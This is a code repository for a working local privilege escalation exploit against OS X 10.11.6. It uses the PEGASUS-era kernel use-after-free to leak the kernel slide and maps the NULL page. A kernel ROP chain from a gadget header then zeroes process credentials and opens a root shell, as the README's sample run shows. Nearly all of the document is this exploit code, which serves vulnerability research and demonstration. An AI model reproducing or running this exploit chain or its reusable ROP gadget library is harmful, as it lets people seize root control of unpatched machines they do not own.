Repository: zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS Branch: master Commit: 07b2dcf72196 Files: 7 Total size: 23.7 KB Directory structure: gitextract_rt76s0s1/ ├── Makefile ├── README.md ├── exp.m ├── import.h ├── lsym.h ├── lsym.m └── lsym_gadgets.h ================================================ FILE CONTENTS ================================================ ================================================ FILE: Makefile ================================================ TARGET = exp all: $(TARGET) CFLAGS = "" FRAMEWORKS = -framework IOKit -framework Foundation -framework CoreFoundation # Note that in addition to the standard flags we also need # # -m32 -Wl,-pagezero_size,0 # # We need these flags because we are leveraging the use-after-free to generate # a kernel NULL-pointer dereference. By mapping the NULL page in user space we # ensure that when the kernel dereferences the NULL pointer it gets a value # that we control. OS X does not allow 64-bit processes to map the NULL page; # however, for legacy support, 32-bit processes can map the NULL page. In order # to do so we generate a Mach-O executable without an initial __PAGEZERO # segment protecting NULL. The "-m32" flag compiles the executable as 32-bit, # while the "-Wl,-pagezero_size,0" flag causes the linker to not insert a # __PAGEZERO segment in the final Mach-O executable. $(TARGET): exp.m lsym.m clang $(CFLAGS) $(FRAMEWORKS) -m32 -Wl,-pagezero_size,0 -O3 $^ -o $@ clean: rm -f -- $(TARGET) ================================================ FILE: README.md ================================================ #Local privilege escalation for OS X 10.11.6 via PEGASUS * Write up: 1. Chinese Version: https://jaq.alibaba.com/community/art/show?articleid=531 2. English Version: https://jaq.alibaba.com/community/art/show?articleid=532 * by Min(Spark) Zheng (twitter@SparkZheng, weibo@蒸米spark) * Note: 1. If you want to test this exp, you should not install Security Update 2016-001 (like iOS 9.3.5 patch for PEGASUS). 2. I hardcoded a kernel address to calcuate kslide, it maybe different on your mac. * Compile: clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp * Run the exp: MacBookPro:PEGASUS zhengmin$ ./exp getting kslide... kslide=0x8e00000 building the rop chain... exploit the kernel... sh-3.2# whoami root sh-3.2# uname -a Darwin MacBookPro 15.6.0 Darwin Kernel Version 15.6.0: Thu Jun 23 18:25:34 PDT 2016; root:xnu-3248.60.10~1/RELEASE_X86_64 x86_64 * Special thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc. * Reference: 1. http://blog.pangu.io/cve-2016-4655/ 2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html 3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/ 4. https://github.com/kpwn/tpwn ================================================ FILE: exp.m ================================================ /* ****************************************************************************************** * Local privilege escalation for OS X 10.11.6 via PEGASUS * by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng) * Note: 1. If you want to test this exp, you should not install Security Update 2016-001 (like iOS 9.3.5 patch for PEGASUS). 2. I hardcoded a kernel address to calculate the kslide, it may be different on your mac. * Special Thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc. * Reference: 1. http://blog.pangu.io/cve-2016-4655/ 2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html 3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/ 4. https://github.com/kpwn/tpwn ***************************************************************************************** */ #include #include #include #include #include #include #import "import.h" #import "lsym_gadgets.h" static uint64_t kslide=0; #define kOSSerializeBinarySignature "\323\0\0" enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, }; __attribute__((always_inline)) inline lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { if (!pointer) return pointer; return (lsym_slidden_kern_pointer_t) pointer + kslide; } __attribute__((always_inline)) static inline uint64_t alloc(uint32_t addr, uint32_t sz) { vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); while(sz--) *(char*)(addr+sz)=0; return addr; } int buildropchain() { printf("building the rop chain...\n"); //ropchain code from tpwn (https://github.com/kpwn/tpwn) and rootsh (https://github.com/bazad/rootsh) lsym_map_t* mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t)); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc"); PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred"); PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get"); PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3) PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return"); vm_address_t payload_addr = 0; size_t size = 0x1000; /* In case we are re-executing, deallocate the NULL page. */ vm_deallocate(mach_task_self(), payload_addr, size); kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0); if (kr != KERN_SUCCESS) { printf("error: could not allocate NULL page for payload\n"); return 3; } uint64_t * vtable = (uint64_t *)payload_addr; /* Virtual method 4 is called in the kernel with rax set to 0. */ vtable[0] = 0; vtable[1] = 0; vtable[2] = 0; vtable[3] = ROP_POP_RAX(mapping_kernel); vtable[4] = ROP_PIVOT_RAX(mapping_kernel); vtable[5] = ROP_POP_RAX(mapping_kernel); vtable[6] = 0; vtable[7] = ROP_POP_RSP(mapping_kernel); vtable[8] = (uint64_t)stack->__rop_chain; return 0; } void getkaslr() { printf("getting kslide...\n"); kern_return_t err,kr; io_iterator_t iterator; static mach_port_t service = 0; io_connect_t cnn = 0; io_object_t obj=0; io_iterator_t iter; mach_port_t master = 0, res; //min0x4141414141414141 uint32_t data[] = { 0x000000d3, 0x81000001, 0x08000004, 0x006e696d, 0x84000200, //change the length of OSNumber 0x41414141, 0x41414141 }; IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); service = IOIteratorNext(iterator); kr = io_service_open_extended(service, mach_task_self(), 0, NDR_record, (char*)data, sizeof(data), &err, &cnn); if (kr!=0) { printf("Cannot create service.\n"); return; } IORegistryEntryCreateIterator(service, "IOService", kIORegistryIterateRecursively, &iter); io_object_t object = IOIteratorNext(iter); char search_str[100] = {0}; sprintf(search_str, "pid %d", getpid()); char buffer[0x200] = {0}; while (object != 0) { uint32_t size = sizeof(buffer); if (IORegistryEntryGetProperty(object, "IOUserClientCreator", buffer, &size) == 0) { if (strstr(buffer, search_str) != NULL) { memset(buffer,0, 0x200); size=0x300; //bcopy( bytes, buf, len ); in io_registry_entry_get_property_bytes() //Use crafted OSNumber to leak stack information of the kernel if (io_registry_entry_get_property_bytes(object, "min", buffer, &size)==0) { //cacluate the kslide kslide = *((unsigned long long*)&buffer[56])-0xFFFFFF80003934BF; //macOS 10.11.6 (15G31) hardcode printf("kslide=0x%llx\n",kslide); break; } } } IOObjectRelease(object); object = IOIteratorNext(iter); } if (object!=0) IOObjectRelease(object); } void expkernel() { printf("exploit the kernel...\n"); char * data = malloc(1024); uint32_t bufpos = 0; mach_port_t master = 0, res; kern_return_t kr; /* create header */ memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature)); bufpos += sizeof(kOSSerializeBinarySignature); //AtrueBvtable data...1 *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | 0x80000000 | 0x10; bufpos += 4; //0 *(uint32_t *)(data+bufpos) = kOSSerializeString | 0x02; bufpos += 4; //1 string "A" *(uint32_t *)(data+bufpos) = 0x00000041; bufpos += 4; *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 0x1; bufpos += 4; //2 bool "true" *(uint32_t *)(data+bufpos) = kOSSerializeSymbol | 0x2; bufpos += 4; //3 symbol "B" *(uint32_t *)(data+bufpos) = 0x00000042; bufpos += 4; *(uint32_t *)(data+bufpos) = kOSSerializeData | 0x20; bufpos += 4; //4 vtable *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4; *(uint32_t *)(data+bufpos) = kOSSerializeObject | 0x1; bufpos += 4; //5 Object refer to string "A" host_get_io_master(mach_host_self(), &master); kr = io_service_get_matching_services_bin(master, data, bufpos, &res); //trigger the UAF vul free(data); } int main(int argc, char * argv[]) { printf("*********************************************************************\n"); printf("Local privilege escalation for OS X 10.11.6 via PEGASUS \n"); printf("by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)\n"); printf("*********************************************************************\n"); getkaslr(); if (kslide==0) return -1; sleep(1); if (buildropchain()!=0) return -1; sleep(1); expkernel(); argv[0] = "/bin/sh"; execve(argv[0], argv, NULL); printf("error: could not exec shell\n"); return 0; } ================================================ FILE: import.h ================================================ #ifndef pwn_import_h #define pwn_import_h #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "lsym.h" #include "lsym_gadgets.h" #endif ================================================ FILE: lsym.h ================================================ #ifndef __pwn__lsym__ #define __pwn__lsym__ #include #include "import.h" #define JUNK_VALUE 0x1337133713371337 typedef struct kernel_fake_stack { uint64_t __cnt; uint64_t __padding[0x499]; uint64_t __rop_chain[0x500]; } kernel_fake_stack_t; #define LSYM_PAYLOAD_VTABLE 1 struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); typedef struct lsym_map { void* map; const char* path; size_t sz; } lsym_map_t; typedef enum { LSYM_DO_NOT_REBASE = (1 << 0) } lsym_gadget_flags; typedef uint64_t lsym_map_pointer_t; typedef uint64_t lsym_kern_pointer_t; typedef uint64_t lsym_slidden_kern_pointer_t; typedef uint64_t lsym_offset_t; lsym_kern_pointer_t kext_pointer(const char* identifier); lsym_map_t *lsym_map_file(const char *path); lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); lsym_offset_t lsym_vm_addrperm(); typedef struct kernel_exploit_vector kernel_exploit_vector_t; #endif /* defined(__pwn__lsym__) */ ================================================ FILE: lsym.m ================================================ #include "lsym.h" #import #include struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); #ifdef FIND_KERNEL_SLIDE static lsym_offset_t kaslr_slide=0; static char kaslr_slide_found =0; #endif __attribute__((always_inline)) lsym_kern_pointer_t kext_pointer(const char* identifier){ return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; } __attribute__((always_inline)) lsym_map_t *lsym_map_file(const char *path) { int fd=open(path, O_RDONLY); if(fd < 0) return 0; struct stat sb; fstat(fd, &sb); if (sb.st_size < 0x1000) { return 0; } void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); ret->map = map; ret->path = path; ret->sz = sb.st_size & 0xFFFFFFFF; return ret; } __attribute__((always_inline)) lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); if (!off) { puts("[-] Couldn't find a ROP gadget, aborting."); exit(1); } return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); } __attribute__((always_inline)) lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { struct mach_header_64 *mh = mapping->map; struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); return (lsym_kern_pointer_t)text->vmaddr; } __attribute__((always_inline)) lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { struct mach_header_64 *mh = mapping->map; struct symtab_command *symtab = NULL; struct segment_command_64 *linkedit = NULL; /* * Check header */ if (mh->magic != MH_MAGIC_64) { return (lsym_kern_pointer_t)NULL; } /* * Find the LINKEDIT and SYMTAB sections */ linkedit = find_segment_64(mh, SEG_LINKEDIT); if (!linkedit) { return (lsym_kern_pointer_t)NULL; } symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); if (!symtab) { return (lsym_kern_pointer_t)NULL; } void* symtabp = symtab->stroff + 4 + (char*)mh; void* symtabz = symtab->stroff + (char*)mh; void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; uint32_t idx = 0; while (symtabp < symendp) { if(strcmp(symtabp, name) == 0) goto found; symtabp += strlen((char*)symtabp) + 1; idx++; } printf("[-] symbol %s not resolved.\n", name); exit(0); return (lsym_kern_pointer_t)NULL; found:; struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); uint64_t strx = ((char*)symtabp - (char*)symtabz); unsigned int symp = 0; while(symp <= (symtab->nsyms)) { uint32_t strix = *((uint32_t*)nlp); if(strix == strx) goto found1; nlp ++; //sizeof(struct nlist_64); symp++; } printf("[-] symbol not found: %s\n", name); exit(-1); found1: //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); return (lsym_kern_pointer_t)nlp->n_value; } __attribute__((always_inline)) struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) { struct load_command *lc; struct segment_command_64 *s, *fs = NULL; lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { if (lc->cmd == LC_SEGMENT_64) { s = (struct segment_command_64 *)lc; if (!strcmp(s->segname, segname)) { fs = s; break; } } lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); } return fs; } __attribute__((always_inline)) struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) { struct section_64 *sect, *fs = NULL; uint32_t i = 0; for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); i < seg->nsects; i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) { if (!strcmp(sect->sectname, name)) { fs = sect; break; } } return fs; } __attribute__((always_inline)) struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) { struct load_command *lc, *flc; lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { if (lc->cmd == cmd) { flc = (struct load_command *)lc; break; } lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); } return flc; } ================================================ FILE: lsym_gadgets.h ================================================ #ifndef ROP_PIVOT_RAX /* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ #define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) /* ROP gadgets present in 10.10 */ // stack pivot #define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) #define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) #define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) #define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) #define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) #define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) #define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) // advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). // how the fuck do these gadgets even exist lmao #define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); #define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); #define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. #define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); #define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) #define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) #define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) #define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) #define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) #define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) #define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) #define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) #define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) #define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) #define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) #define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) // register control #define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) #define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) #define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) #define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) #define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) #define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) #define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) #define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) #define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) #define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) // write gadgets #define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) #define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) // read gadget #define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) // simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. #define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); // helpers #define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] #define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; #define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; #define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; #define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; #define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; #endif